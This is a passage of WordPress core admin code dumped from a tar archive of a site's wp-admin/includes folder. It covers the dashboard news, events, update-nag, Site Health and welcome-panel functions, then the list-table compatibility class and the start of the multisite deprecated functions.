				'callback' => $wp_dashboard_control_callbacks[ $widget_control_id ],
			)
		);
	}
}

/**
 * Sets up the RSS dashboard widget control and $args to be used as input to wp_widget_rss_form().
 *
 * Handles POST data from RSS-type widgets.
 *
 * @since 2.5.0
 *
 * @param string $widget_id
 * @param array  $form_inputs
 */
function wp_dashboard_rss_control( $widget_id, $form_inputs = array() ) {
	$widget_options = get_option( 'dashboard_widget_options' );

	if ( ! $widget_options ) {
		$widget_options = array();
	}

	if ( ! isset( $widget_options[ $widget_id ] ) ) {
		$widget_options[ $widget_id ] = array();
	}

	$number = 1; // Hack to use wp_widget_rss_form().

	$widget_options[ $widget_id ]['number'] = $number;

	if ( 'POST' === $_SERVER['REQUEST_METHOD'] && isset( $_POST['widget-rss'][ $number ] ) ) {
		$_POST['widget-rss'][ $number ]         = wp_unslash( $_POST['widget-rss'][ $number ] );
		$widget_options[ $widget_id ]           = wp_widget_rss_process( $_POST['widget-rss'][ $number ] );
		$widget_options[ $widget_id ]['number'] = $number;

		// Title is optional. If black, fill it if possible.
		if ( ! $widget_options[ $widget_id ]['title'] && isset( $_POST['widget-rss'][ $number ]['title'] ) ) {
			$rss = fetch_feed( $widget_options[ $widget_id ]['url'] );
			if ( is_wp_error( $rss ) ) {
				$widget_options[ $widget_id ]['title'] = htmlentities( __( 'Unknown Feed' ) );
			} else {
				$widget_options[ $widget_id ]['title'] = htmlentities( strip_tags( $rss->get_title() ) );
				$rss->__destruct();
				unset( $rss );
			}
		}

		update_option( 'dashboard_widget_options', $widget_options );

		$locale    = get_user_locale();
		$cache_key = 'dash_v2_' . md5( $widget_id . '_' . $locale );
		delete_transient( $cache_key );
	}

	wp_widget_rss_form( $widget_options[ $widget_id ], $form_inputs );
}


/**
 * Renders the Events and News dashboard widget.
 *
 * @since 4.8.0
 */
function wp_dashboard_events_news() {
	wp_print_community_events_markup();

	?>

	<div class="wordpress-news hide-if-no-js">
		<?php wp_dashboard_primary(); ?>
	</div>

	<p class="community-events-footer">
		<?php
			printf(
				'<a href="%1$s" target="_blank">%2$s <span class="screen-reader-text"> %3$s</span><span aria-hidden="true" class="dashicons dashicons-external"></span></a>',
				'https://make.wordpress.org/community/meetups-landing-page',
				__( 'Meetups' ),
				/* translators: Hidden accessibility text. */
				__( '(opens in a new tab)' )
			);
		?>

		|

		<?php
			printf(
				'<a href="%1$s" target="_blank">%2$s <span class="screen-reader-text"> %3$s</span><span aria-hidden="true" class="dashicons dashicons-external"></span></a>',
				'https://central.wordcamp.org/schedule/',
				__( 'WordCamps' ),
				/* translators: Hidden accessibility text. */
				__( '(opens in a new tab)' )
			);
		?>

		|

		<?php
			printf(
				'<a href="%1$s" target="_blank">%2$s <span class="screen-reader-text"> %3$s</span><span aria-hidden="true" class="dashicons dashicons-external"></span></a>',
				/* translators: If a Rosetta site exists (e.g. https://es.wordpress.org/news/), then use that. Otherwise, leave untranslated. */
				esc_url( _x( 'https://wordpress.org/news/', 'Events and News dashboard widget' ) ),
				__( 'News' ),
				/* translators: Hidden accessibility text. */
				__( '(opens in a new tab)' )
			);
		?>
	</p>

	<?php
}

/**
 * Prints the markup for the Community Events section of the Events and News Dashboard widget.
 *
 * @since 4.8.0
 */
function wp_print_community_events_markup() {
	$community_events_notice  = '<p class="hide-if-js">' . ( 'This widget requires JavaScript.' ) . '</p>';
	$community_events_notice .= '<p class="community-events-error-occurred" aria-hidden="true">' . __( 'An error occurred. Please try again.' ) . '</p>';
	$community_events_notice .= '<p class="community-events-could-not-locate" aria-hidden="true"></p>';

	wp_admin_notice(
		$community_events_notice,
		array(
			'type'               => 'error',
			'additional_classes' => array( 'community-events-errors', 'inline', 'hide-if-js' ),
			'paragraph_wrap'     => false,
		)
	);

	/*
	 * Hide the main element when the page first loads, because the content
	 * won't be ready until wp.communityEvents.renderEventsTemplate() has run.
	 */
	?>
	<div id="community-events" class="community-events" aria-hidden="true">
		<div class="activity-block">
			<p>
				<span id="community-events-location-message"></span>

				<button class="button-link community-events-toggle-location" aria-expanded="false">
					<span class="dashicons dashicons-location" aria-hidden="true"></span>
					<span class="community-events-location-edit"><?php _e( 'Select location' ); ?></span>
				</button>
			</p>

			<form class="community-events-form" aria-hidden="true" action="<?php echo esc_url( admin_url( 'admin-ajax.php' ) ); ?>" method="post">
				<label for="community-events-location">
					<?php _e( 'City:' ); ?>
				</label>
				<?php
				/* translators: Replace with a city related to your locale.
				 * Test that it matches the expected location and has upcoming
				 * events before including it. If no cities related to your
				 * locale have events, then use a city related to your locale
				 * that would be recognizable to most users. Use only the city
				 * name itself, without any region or country. Use the endonym
				 * (native locale name) instead of the English name if possible.
				 */
				?>
				<input id="community-events-location" class="regular-text" type="text" name="community-events-location" placeholder="<?php esc_attr_e( 'Cincinnati' ); ?>" />

				<?php submit_button( __( 'Submit' ), 'secondary', 'community-events-submit', false ); ?>

				<button class="community-events-cancel button-link" type="button" aria-expanded="false">
					<?php _e( 'Cancel' ); ?>
				</button>

				<span class="spinner"></span>
			</form>
		</div>

		<ul class="community-events-results activity-block last"></ul>
	</div>

	<?php
}

/**
 * Renders the events templates for the Event and News widget.
 *
 * @since 4.8.0
 */
function wp_print_community_events_templates() {
	?>

	<script id="tmpl-community-events-attend-event-near" type="text/template">
		<?php
		printf(
			/* translators: %s: The name of a city. */
			__( 'Attend an upcoming event near %s.' ),
			'<strong>{{ data.location.description }}</strong>'
		);
		?>
	</script>

	<script id="tmpl-community-events-could-not-locate" type="text/template">
		<?php
		printf(
			/* translators: %s is the name of the city we couldn't locate.
			 * Replace the examples with cities in your locale, but test
			 * that they match the expected location before including them.
			 * Use endonyms (native locale names) whenever possible.
			 */
			__( '%s could not be located. Please try another nearby city. For example: Kansas City; Springfield; Portland.' ),
			'<em>{{data.unknownCity}}</em>'
		);
		?>
	</script>

	<script id="tmpl-community-events-event-list" type="text/template">
		<# _.each( data.events, function( event ) { #>
			<li class="event event-{{ event.type }} wp-clearfix">
				<div class="event-info">
					<div class="dashicons event-icon" aria-hidden="true"></div>
					<div class="event-info-inner">
						<a class="event-title" href="{{ event.url }}">{{ event.title }}</a>
						<# if ( event.type ) {
							const titleCaseEventType = event.type.replace(
								/\w\S*/g,
								function ( type ) { return type.charAt(0).toUpperCase() + type.substr(1).toLowerCase(); }
							);
						#>
							{{ 'wordcamp' === event.type ? 'WordCamp' : titleCaseEventType }}
							<span class="ce-separator"></span>
						<# } #>
						<span class="event-city">{{ event.location.location }}</span>
					</div>
				</div>

				<div class="event-date-time">
					<span class="event-date">{{ event.user_formatted_date }}</span>
					<# if ( 'meetup' === event.type ) { #>
						<span class="event-time">
							{{ event.user_formatted_time }} {{ event.timeZoneAbbreviation }}
						</span>
					<# } #>
				</div>
			</li>
		<# } ) #>

		<# if ( data.events.length <= 2 ) { #>
			<li class="event-none">
				<?php
				printf(
					/* translators: %s: Localized meetup organization documentation URL. */
					__( 'Want more events? <a href="%s">Help organize the next one</a>!' ),
					__( 'https://make.wordpress.org/community/organize-event-landing-page/' )
				);
				?>
			</li>
		<# } #>

	</script>

	<script id="tmpl-community-events-no-upcoming-events" type="text/template">
		<li class="event-none">
			<# if ( data.location.description ) { #>
				<?php
				printf(
					/* translators: 1: The city the user searched for, 2: Meetup organization documentation URL. */
					__( 'There are no events scheduled near %1$s at the moment. Would you like to <a href="%2$s">organize a WordPress event</a>?' ),
					'{{ data.location.description }}',
					__( 'https://make.wordpress.org/community/handbook/meetup-organizer/welcome/' )
				);
				?>

			<# } else { #>
				<?php
				printf(
					/* translators: %s: Meetup organization documentation URL. */
					__( 'There are no events scheduled near you at the moment. Would you like to <a href="%s">organize a WordPress event</a>?' ),
					__( 'https://make.wordpress.org/community/handbook/meetup-organizer/welcome/' )
				);
				?>
			<# } #>
		</li>
	</script>
	<?php
}

/**
 * 'WordPress Events and News' dashboard widget.
 *
 * @since 2.7.0
 * @since 4.8.0 Removed popular plugins feed.
 */
function wp_dashboard_primary() {
	$feeds = array(
		'news'   => array(

			/**
			 * Filters the primary link URL for the 'WordPress Events and News' dashboard widget.
			 *
			 * @since 2.5.0
			 *
			 * @param string $link The widget's primary link URL.
			 */
			'link'         => apply_filters( 'dashboard_primary_link', __( 'https://wordpress.org/news/' ) ),

			/**
			 * Filters the primary feed URL for the 'WordPress Events and News' dashboard widget.
			 *
			 * @since 2.3.0
			 *
			 * @param string $url The widget's primary feed URL.
			 */
			'url'          => apply_filters( 'dashboard_primary_feed', __( 'https://wordpress.org/news/feed/' ) ),

			/**
			 * Filters the primary link title for the 'WordPress Events and News' dashboard widget.
			 *
			 * @since 2.3.0
			 *
			 * @param string $title Title attribute for the widget's primary link.
			 */
			'title'        => apply_filters( 'dashboard_primary_title', __( 'WordPress Blog' ) ),
			'items'        => 2,
			'show_summary' => 0,
			'show_author'  => 0,
			'show_date'    => 0,
		),
		'planet' => array(

			/**
			 * Filters the secondary link URL for the 'WordPress Events and News' dashboard widget.
			 *
			 * @since 2.3.0
			 *
			 * @param string $link The widget's secondary link URL.
			 */
			'link'         => apply_filters( 'dashboard_secondary_link', __( 'https://planet.wordpress.org/' ) ),

			/**
			 * Filters the secondary feed URL for the 'WordPress Events and News' dashboard widget.
			 *
			 * @since 2.3.0
			 *
			 * @param string $url The widget's secondary feed URL.
			 */
			'url'          => apply_filters( 'dashboard_secondary_feed', __( 'https://planet.wordpress.org/feed/' ) ),

			/**
			 * Filters the secondary link title for the 'WordPress Events and News' dashboard widget.
			 *
			 * @since 2.3.0
			 *
			 * @param string $title Title attribute for the widget's secondary link.
			 */
			'title'        => apply_filters( 'dashboard_secondary_title', __( 'Other WordPress News' ) ),

			/**
			 * Filters the number of secondary link items for the 'WordPress Events and News' dashboard widget.
			 *
			 * @since 4.4.0
			 *
			 * @param string $items How many items to show in the secondary feed.
			 */
			'items'        => apply_filters( 'dashboard_secondary_items', 3 ),
			'show_summary' => 0,
			'show_author'  => 0,
			'show_date'    => 0,
		),
	);

	wp_dashboard_cached_rss_widget( 'dashboard_primary', 'wp_dashboard_primary_output', $feeds );
}

/**
 * Displays the WordPress events and news feeds.
 *
 * @since 3.8.0
 * @since 4.8.0 Removed popular plugins feed.
 *
 * @param string $widget_id Widget ID.
 * @param array  $feeds     Array of RSS feeds.
 */
function wp_dashboard_primary_output( $widget_id, $feeds ) {
	foreach ( $feeds as $type => $args ) {
		$args['type'] = $type;
		echo '<div class="rss-widget">';
			wp_widget_rss_output( $args['url'], $args );
		echo '</div>';
	}
}

/**
 * Displays file upload quota on dashboard.
 *
 * Runs on the {@see 'activity_box_end'} hook in wp_dashboard_right_now().
 *
 * @since 3.0.0
 *
 * @return true|void True if not multisite, user can't upload files, or the space check option is disabled.
 */
function wp_dashboard_quota() {
	if ( ! is_multisite() || ! current_user_can( 'upload_files' )
		|| get_site_option( 'upload_space_check_disabled' )
	) {
		return true;
	}

	$quota = get_space_allowed();
	$used  = get_space_used();

	if ( $used > $quota ) {
		$percentused = '100';
	} else {
		$percentused = ( $used / $quota ) * 100;
	}

	$used_class  = ( $percentused >= 70 ) ? ' warning' : '';
	$used        = round( $used, 2 );
	$percentused = number_format( $percentused );

	?>
	<h3 class="mu-storage"><?php _e( 'Storage Space' ); ?></h3>
	<div class="mu-storage">
	<ul>
		<li class="storage-count">
			<?php
			$text = sprintf(
				/* translators: %s: Number of megabytes. */
				__( '%s MB Space Allowed' ),
				number_format_i18n( $quota )
			);
			printf(
				'<a href="%1$s">%2$s<span class="screen-reader-text"> (%3$s)</span></a>',
				esc_url( admin_url( 'upload.php' ) ),
				$text,
				/* translators: Hidden accessibility text. */
				__( 'Manage Uploads' )
			);
			?>
		</li><li class="storage-count <?php echo $used_class; ?>">
			<?php
			$text = sprintf(
				/* translators: 1: Number of megabytes, 2: Percentage. */
				__( '%1$s MB (%2$s%%) Space Used' ),
				number_format_i18n( $used, 2 ),
				$percentused
			);
			printf(
				'<a href="%1$s" class="musublink">%2$s<span class="screen-reader-text"> (%3$s)</span></a>',
				esc_url( admin_url( 'upload.php' ) ),
				$text,
				/* translators: Hidden accessibility text. */
				__( 'Manage Uploads' )
			);
			?>
		</li>
	</ul>
	</div>
	<?php
}

/**
 * Displays the browser update nag.
 *
 * @since 3.2.0
 * @since 5.8.0 Added a special message for Internet Explorer users.
 *
 * @global bool $is_IE
 */
function wp_dashboard_browser_nag() {
	global $is_IE;

	$notice   = '';
	$response = wp_check_browser_version();

	if ( $response ) {
		if ( $is_IE ) {
			$msg = __( 'Internet Explorer does not give you the best WordPress experience. Switch to Microsoft Edge, or another more modern browser to get the most from your site.' );
		} elseif ( $response['insecure'] ) {
			$msg = sprintf(
				/* translators: %s: Browser name and link. */
				__( "It looks like you're using an insecure version of %s. Using an outdated browser makes your computer unsafe. For the best WordPress experience, please update your browser." ),
				sprintf( '<a href="%s">%s</a>', esc_url( $response['update_url'] ), esc_html( $response['name'] ) )
			);
		} else {
			$msg = sprintf(
				/* translators: %s: Browser name and link. */
				__( "It looks like you're using an old version of %s. For the best WordPress experience, please update your browser." ),
				sprintf( '<a href="%s">%s</a>', esc_url( $response['update_url'] ), esc_html( $response['name'] ) )
			);
		}

		$browser_nag_class = '';
		if ( ! empty( $response['img_src'] ) ) {
			$img_src = ( is_ssl() && ! empty( $response['img_src_ssl'] ) ) ? $response['img_src_ssl'] : $response['img_src'];

			$notice           .= '<div class="alignright browser-icon"><img src="' . esc_url( $img_src ) . '" alt="" /></div>';
			$browser_nag_class = ' has-browser-icon';
		}
		$notice .= "<p class='browser-update-nag{$browser_nag_class}'>{$msg}</p>";

		$browsehappy = 'https://browsehappy.com/';
		$locale      = get_user_locale();
		if ( 'en_US' !== $locale ) {
			$browsehappy = add_query_arg( 'locale', $locale, $browsehappy );
		}

		if ( $is_IE ) {
			$msg_browsehappy = sprintf(
				/* translators: %s: Browse Happy URL. */
				__( 'Learn how to <a href="%s" class="update-browser-link">browse happy</a>' ),
				esc_url( $browsehappy )
			);
		} else {
			$msg_browsehappy = sprintf(
				/* translators: 1: Browser update URL, 2: Browser name, 3: Browse Happy URL. */
				__( '<a href="%1$s" class="update-browser-link">Update %2$s</a> or learn how to <a href="%3$s" class="browse-happy-link">browse happy</a>' ),
				esc_attr( $response['update_url'] ),
				esc_html( $response['name'] ),
				esc_url( $browsehappy )
			);
		}

		$notice .= '<p>' . $msg_browsehappy . '</p>';
		$notice .= '<p class="hide-if-no-js"><a href="" class="dismiss" aria-label="' . esc_attr__( 'Dismiss the browser warning panel' ) . '">' . __( 'Dismiss' ) . '</a></p>';
		$notice .= '<div class="clear"></div>';
	}

	/**
	 * Filters the notice output for the 'Browse Happy' nag meta box.
	 *
	 * @since 3.2.0
	 *
	 * @param string      $notice   The notice content.
	 * @param array|false $response An array containing web browser information, or
	 *                              false on failure. See wp_check_browser_version().
	 */
	echo apply_filters( 'browse-happy-notice', $notice, $response ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
}

/**
 * Adds an additional class to the browser nag if the current version is insecure.
 *
 * @since 3.2.0
 *
 * @param string[] $classes Array of meta box classes.
 * @return string[] Modified array of meta box classes.
 */
function dashboard_browser_nag_class( $classes ) {
	$response = wp_check_browser_version();

	if ( $response && $response['insecure'] ) {
		$classes[] = 'browser-insecure';
	}

	return $classes;
}

/**
 * Checks if the user needs a browser update.
 *
 * @since 3.2.0
 *
 * @return array|false Array of browser data on success, false on failure.
 */
function wp_check_browser_version() {
	if ( empty( $_SERVER['HTTP_USER_AGENT'] ) ) {
		return false;
	}

	$key = md5( $_SERVER['HTTP_USER_AGENT'] );

	$response = get_site_transient( 'browser_' . $key );

	if ( false === $response ) {
		// Include an unmodified $wp_version.
		require ABSPATH . WPINC . '/version.php';

		$url     = 'http://api.wordpress.org/core/browse-happy/1.1/';
		$options = array(
			'body'       => array( 'useragent' => $_SERVER['HTTP_USER_AGENT'] ),
			'user-agent' => 'WordPress/' . $wp_version . '; ' . home_url( '/' ),
		);

		if ( wp_http_supports( array( 'ssl' ) ) ) {
			$url = set_url_scheme( $url, 'https' );
		}

		$response = wp_remote_post( $url, $options );

		if ( is_wp_error( $response ) || 200 !== wp_remote_retrieve_response_code( $response ) ) {
			return false;
		}

		/**
		 * Response should be an array with:
		 *  'platform' - string - A user-friendly platform name, if it can be determined
		 *  'name' - string - A user-friendly browser name
		 *  'version' - string - The version of the browser the user is using
		 *  'current_version' - string - The most recent version of the browser
		 *  'upgrade' - boolean - Whether the browser needs an upgrade
		 *  'insecure' - boolean - Whether the browser is deemed insecure
		 *  'update_url' - string - The url to visit to upgrade
		 *  'img_src' - string - An image representing the browser
		 *  'img_src_ssl' - string - An image (over SSL) representing the browser
		 */
		$response = json_decode( wp_remote_retrieve_body( $response ), true );

		if ( ! is_array( $response ) ) {
			return false;
		}

		set_site_transient( 'browser_' . $key, $response, WEEK_IN_SECONDS );
	}

	return $response;
}

/**
 * Displays the PHP update nag.
 *
 * @since 5.1.0
 */
function wp_dashboard_php_nag() {
	$response = wp_check_php_version();

	if ( ! $response ) {
		return;
	}

	if ( isset( $response['is_secure'] ) && ! $response['is_secure'] ) {
		// The `is_secure` array key name doesn't actually imply this is a secure version of PHP. It only means it receives security updates.

		if ( $response['is_lower_than_future_minimum'] ) {
			$message = sprintf(
				/* translators: %s: The server PHP version. */
				__( 'Your site is running on an outdated version of PHP (%s), which does not receive security updates and soon will not be supported by WordPress. Ensure that PHP is updated on your server as soon as possible. Otherwise you will not be able to upgrade WordPress.' ),
				PHP_VERSION
			);
		} else {
			$message = sprintf(
				/* translators: %s: The server PHP version. */
				__( 'Your site is running on an outdated version of PHP (%s), which does not receive security updates. It should be updated.' ),
				PHP_VERSION
			);
		}
	} elseif ( $response['is_lower_than_future_minimum'] ) {
		$message = sprintf(
			/* translators: %s: The server PHP version. */
			__( 'Your site is running on an outdated version of PHP (%s), which soon will not be supported by WordPress. Ensure that PHP is updated on your server as soon as possible. Otherwise you will not be able to upgrade WordPress.' ),
			PHP_VERSION
		);
	} else {
		$message = sprintf(
			/* translators: %s: The server PHP version. */
			__( 'Your site is running on an outdated version of PHP (%s), which should be updated.' ),
			PHP_VERSION
		);
	}
	?>
	<p class="bigger-bolder-text"><?php echo $message; ?></p>

	<p><?php _e( 'What is PHP and how does it affect my site?' ); ?></p>
	<p>
		<?php _e( 'PHP is one of the programming languages used to build WordPress. Newer versions of PHP receive regular security updates and may increase your site&#8217;s performance.' ); ?>
		<?php
		if ( ! empty( $response['recommended_version'] ) ) {
			printf(
				/* translators: %s: The minimum recommended PHP version. */
				__( 'The minimum recommended version of PHP is %s.' ),
				$response['recommended_version']
			);
		}
		?>
	</p>

	<p class="button-container">
		<?php
		printf(
			'<a class="button button-primary" href="%1$s" target="_blank" rel="noopener">%2$s<span class="screen-reader-text"> %3$s</span><span aria-hidden="true" class="dashicons dashicons-external"></span></a>',
			esc_url( wp_get_update_php_url() ),
			__( 'Learn more about updating PHP' ),
			/* translators: Hidden accessibility text. */
			__( '(opens in a new tab)' )
		);
		?>
	</p>
	<?php

	wp_update_php_annotation();
	wp_direct_php_update_button();
}

/**
 * Adds an additional class to the PHP nag if the current version is insecure.
 *
 * @since 5.1.0
 *
 * @param string[] $classes Array of meta box classes.
 * @return string[] Modified array of meta box classes.
 */
function dashboard_php_nag_class( $classes ) {
	$response = wp_check_php_version();

	if ( ! $response ) {
		return $classes;
	}

	if ( isset( $response['is_secure'] ) && ! $response['is_secure'] ) {
		$classes[] = 'php-no-security-updates';
	} elseif ( $response['is_lower_than_future_minimum'] ) {
		$classes[] = 'php-version-lower-than-future-minimum';
	}

	return $classes;
}

/**
 * Displays the Site Health Status widget.
 *
 * @since 5.4.0
 */
function wp_dashboard_site_health() {
	$get_issues = get_transient( 'health-check-site-status-result' );

	$issue_counts = array();

	if ( false !== $get_issues ) {
		$issue_counts = json_decode( $get_issues, true );
	}

	if ( ! is_array( $issue_counts ) || ! $issue_counts ) {
		$issue_counts = array(
			'good'        => 0,
			'recommended' => 0,
			'critical'    => 0,
		);
	}

	$issues_total = $issue_counts['recommended'] + $issue_counts['critical'];
	?>
	<div class="health-check-widget">
		<div class="health-check-widget-title-section site-health-progress-wrapper loading hide-if-no-js">
			<div class="site-health-progress">
				<svg aria-hidden="true" focusable="false" width="100%" height="100%" viewBox="0 0 200 200" version="1.1" xmlns="http://www.w3.org/2000/svg">
					<circle r="90" cx="100" cy="100" fill="transparent" stroke-dasharray="565.48" stroke-dashoffset="0"></circle>
					<circle id="bar" r="90" cx="100" cy="100" fill="transparent" stroke-dasharray="565.48" stroke-dashoffset="0"></circle>
				</svg>
			</div>
			<div class="site-health-progress-label">
				<?php if ( false === $get_issues ) : ?>
					<?php _e( 'No information yet&hellip;' ); ?>
				<?php else : ?>
					<?php _e( 'Results are still loading&hellip;' ); ?>
				<?php endif; ?>
			</div>
		</div>

		<div class="site-health-details">
			<?php if ( false === $get_issues ) : ?>
				<p>
					<?php
					printf(
						/* translators: %s: URL to Site Health screen. */
						__( 'Site health checks will automatically run periodically to gather information about your site. You can also <a href="%s">visit the Site Health screen</a> to gather information about your site now.' ),
						esc_url( admin_url( 'site-health.php' ) )
					);
					?>
				</p>
			<?php else : ?>
				<p>
					<?php if ( $issues_total <= 0 ) : ?>
						<?php _e( 'Great job! Your site currently passes all site health checks.' ); ?>
					<?php elseif ( 1 === (int) $issue_counts['critical'] ) : ?>
						<?php _e( 'Your site has a critical issue that should be addressed as soon as possible to improve its performance and security.' ); ?>
					<?php elseif ( $issue_counts['critical'] > 1 ) : ?>
						<?php _e( 'Your site has critical issues that should be addressed as soon as possible to improve its performance and security.' ); ?>
					<?php elseif ( 1 === (int) $issue_counts['recommended'] ) : ?>
						<?php _e( 'Your site&#8217;s health is looking good, but there is still one thing you can do to improve its performance and security.' ); ?>
					<?php else : ?>
						<?php _e( 'Your site&#8217;s health is looking good, but there are still some things you can do to improve its performance and security.' ); ?>
					<?php endif; ?>
				</p>
			<?php endif; ?>

			<?php if ( $issues_total > 0 && false !== $get_issues ) : ?>
				<p>
					<?php
					printf(
						/* translators: 1: Number of issues. 2: URL to Site Health screen. */
						_n(
							'Take a look at the <strong>%1$d item</strong> on the <a href="%2$s">Site Health screen</a>.',
							'Take a look at the <strong>%1$d items</strong> on the <a href="%2$s">Site Health screen</a>.',
							$issues_total
						),
						$issues_total,
						esc_url( admin_url( 'site-health.php' ) )
					);
					?>
				</p>
			<?php endif; ?>
		</div>
	</div>

	<?php
}

/**
 * Outputs empty dashboard widget to be populated by JS later.
 *
 * Usable by plugins.
 *
 * @since 2.5.0
 */
function wp_dashboard_empty() {}

/**
 * Displays a welcome panel to introduce users to WordPress.
 *
 * @since 3.3.0
 * @since 5.9.0 Send users to the Site Editor if the active theme is block-based.
 */
function wp_welcome_panel() {
	list( $display_version ) = explode( '-', get_bloginfo( 'version' ) );
	$can_customize           = current_user_can( 'customize' );
	$is_block_theme          = wp_is_block_theme();
	?>
	<div class="welcome-panel-content">
	<div class="welcome-panel-header">
		<div class="welcome-panel-header-image">
			<?php echo file_get_contents( dirname( __DIR__ ) . '/images/dashboard-background.svg' ); ?>
		</div>
		<h2><?php _e( 'Welcome to WordPress!' ); ?></h2>
		<p>
			<a href="<?php echo esc_url( admin_url( 'about.php' ) ); ?>">
			<?php
				/* translators: %s: Current WordPress version. */
				printf( __( 'Learn more about the %s version.' ), $display_version );
			?>
			</a>
		</p>
	</div>
	<div class="welcome-panel-column-container">
		<div class="welcome-panel-column">
			<svg width="48" height="48" viewBox="0 0 48 48" fill="none" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false">
				<rect width="48" height="48" rx="4" fill="#1E1E1E"/>
				<path fill-rule="evenodd" clip-rule="evenodd" d="M32.0668 17.0854L28.8221 13.9454L18.2008 24.671L16.8983 29.0827L21.4257 27.8309L32.0668 17.0854ZM16 32.75H24V31.25H16V32.75Z" fill="white"/>
			</svg>
			<div class="welcome-panel-column-content">
				<h3><?php _e( 'Author rich content with blocks and patterns' ); ?></h3>
				<p><?php _e( 'Block patterns are pre-configured block layouts. Use them to get inspired or create new pages in a flash.' ); ?></p>
				<a href="<?php echo esc_url( admin_url( 'post-new.php?post_type=page' ) ); ?>"><?php _e( 'Add a new page' ); ?></a>
			</div>
		</div>
		<div class="welcome-panel-column">
			<svg width="48" height="48" viewBox="0 0 48 48" fill="none" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false">
				<rect width="48" height="48" rx="4" fill="#1E1E1E"/>
				<path fill-rule="evenodd" clip-rule="evenodd" d="M18 16h12a2 2 0 0 1 2 2v12a2 2 0 0 1-2 2H18a2 2 0 0 1-2-2V18a2 2 0 0 1 2-2zm12 1.5H18a.5.5 0 0 0-.5.5v3h13v-3a.5.5 0 0 0-.5-.5zm.5 5H22v8h8a.5.5 0 0 0 .5-.5v-7.5zm-10 0h-3V30a.5.5 0 0 0 .5.5h2.5v-8z" fill="#fff"/>
			</svg>
			<div class="welcome-panel-column-content">
			<?php if ( $is_block_theme ) : ?>
				<h3><?php _e( 'Customize your entire site with block themes' ); ?></h3>
				<p><?php _e( 'Design everything on your site &#8212; from the header down to the footer, all using blocks and patterns.' ); ?></p>
				<a href="<?php echo esc_url( admin_url( 'site-editor.php' ) ); ?>"><?php _e( 'Open site editor' ); ?></a>
			<?php else : ?>
				<h3><?php _e( 'Start Customizing' ); ?></h3>
				<p><?php _e( 'Configure your site&#8217;s logo, header, menus, and more in the Customizer.' ); ?></p>
				<?php if ( $can_customize ) : ?>
					<a class="load-customize hide-if-no-customize" href="<?php echo wp_customize_url(); ?>"><?php _e( 'Open the Customizer' ); ?></a>
				<?php endif; ?>
			<?php endif; ?>
			</div>
		</div>
		<div class="welcome-panel-column">
			<svg width="48" height="48" viewBox="0 0 48 48" fill="none" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false">
				<rect width="48" height="48" rx="4" fill="#1E1E1E"/>
				<path fill-rule="evenodd" clip-rule="evenodd" d="M31 24a7 7 0 0 1-7 7V17a7 7 0 0 1 7 7zm-7-8a8 8 0 1 1 0 16 8 8 0 0 1 0-16z" fill="#fff"/>
			</svg>
			<div class="welcome-panel-column-content">
			<?php if ( $is_block_theme ) : ?>
				<h3><?php _e( 'Switch up your site&#8217;s look & feel with Styles' ); ?></h3>
				<p><?php _e( 'Tweak your site, or give it a whole new look! Get creative &#8212; how about a new color palette or font?' ); ?></p>
				<a href="<?php echo esc_url( admin_url( '/site-editor.php?path=%2Fwp_global_styles' ) ); ?>"><?php _e( 'Edit styles' ); ?></a>
			<?php else : ?>
				<h3><?php _e( 'Discover a new way to build your site.' ); ?></h3>
				<p><?php _e( 'There is a new kind of WordPress theme, called a block theme, that lets you build the site you&#8217;ve always wanted &#8212; with blocks and styles.' ); ?></p>
				<a href="<?php echo esc_url( __( 'https://wordpress.org/documentation/article/block-themes/' ) ); ?>"><?php _e( 'Learn about block themes' ); ?></a>
			<?php endif; ?>
			</div>
		</div>
	</div>
	</div>
	<?php
}
class-wp-list-table-compat.php.tar000064400000006000150275632050013113 0ustar00home/natitnen/crestassured.com/wp-admin/includes/class-wp-list-table-compat.php000064400000002731150274534440023716 0ustar00<?php
/**
 * Helper functions for displaying a list of items in an ajaxified HTML table.
 *
 * @package WordPress
 * @subpackage List_Table
 * @since 4.7.0
 */

/**
 * Helper class to be used only by back compat functions.
 *
 * @since 3.1.0
 */
class _WP_List_Table_Compat extends WP_List_Table {
	public $_screen;
	public $_columns;

	/**
	 * Constructor.
	 *
	 * @since 3.1.0
	 *
	 * @param string|WP_Screen $screen  The screen hook name or screen object.
	 * @param string[]         $columns An array of columns with column IDs as the keys
	 *                                  and translated column names as the values.
	 */
	public function __construct( $screen, $columns = array() ) {
		if ( is_string( $screen ) ) {
			$screen = convert_to_screen( $screen );
		}

		$this->_screen = $screen;

		if ( ! empty( $columns ) ) {
			$this->_columns = $columns;
			add_filter( 'manage_' . $screen->id . '_columns', array( $this, 'get_columns' ), 0 );
		}
	}

	/**
	 * Gets a list of all, hidden, and sortable columns.
	 *
	 * @since 3.1.0
	 *
	 * @return array
	 */
	protected function get_column_info() {
		$columns  = get_column_headers( $this->_screen );
		$hidden   = get_hidden_columns( $this->_screen );
		$sortable = array();
		$primary  = $this->get_default_primary_column_name();

		return array( $columns, $hidden, $sortable, $primary );
	}

	/**
	 * Gets a list of columns.
	 *
	 * @since 3.1.0
	 *
	 * @return array
	 */
	public function get_columns() {
		return $this->_columns;
	}
}
ms-deprecated.php000064400000007272150275632050010007 0ustar00<?php
/**
 * Multisite: Deprecated admin functions from past versions and WordPress MU
 *
 * These functions should not be used and will be removed in a later version.
 * It is suggested to use for the alternatives instead when available.
 *
 * @package WordPress
 * @subpackage Deprecated
 * @since 3.0.0
 */

/**
 * Outputs the WPMU menu.
 *
 * @deprecated 3.0.0
 */
function wpmu_menu() {
	_deprecated_function( __FUNCTION__, '3.0.0' );
	// Deprecated. See #11763.
}

/**
 * Determines if the available space defined by the admin has been exceeded by the user.
 *
 * @deprecated 3.0.0 Use is_upload_space_available()
 * @see is_upload_space_available()
 */
function wpmu_checkAvailableSpace() {
	_deprecated_function( __FUNCTION__, '3.0.0', 'is_upload_space_available()' );

	if ( ! is_upload_space_available() ) {
		wp_die( sprintf(
			/* translators: %s: Allowed space allocation. */
			__( 'Sorry, you have used your space allocation of %s. Please delete some files to upload more files.' ),
			size_format( get_space_allowed() * MB_IN_BYTES )
		) );
	}
}

/**
 * WPMU options.
 *
 * @deprecated 3.0.0
 */
function mu_options( $options ) {
	_deprecated_function( __FUNCTION__, '3.0.0' );
	return $options;
}

/**
 * Deprecated functionality for activating a network-only plugin.
 *
 * @deprecated 3.0.0 Use activate_plugin()
 * @see activate_plugin()
 */
function activate_sitewide_plugin() {
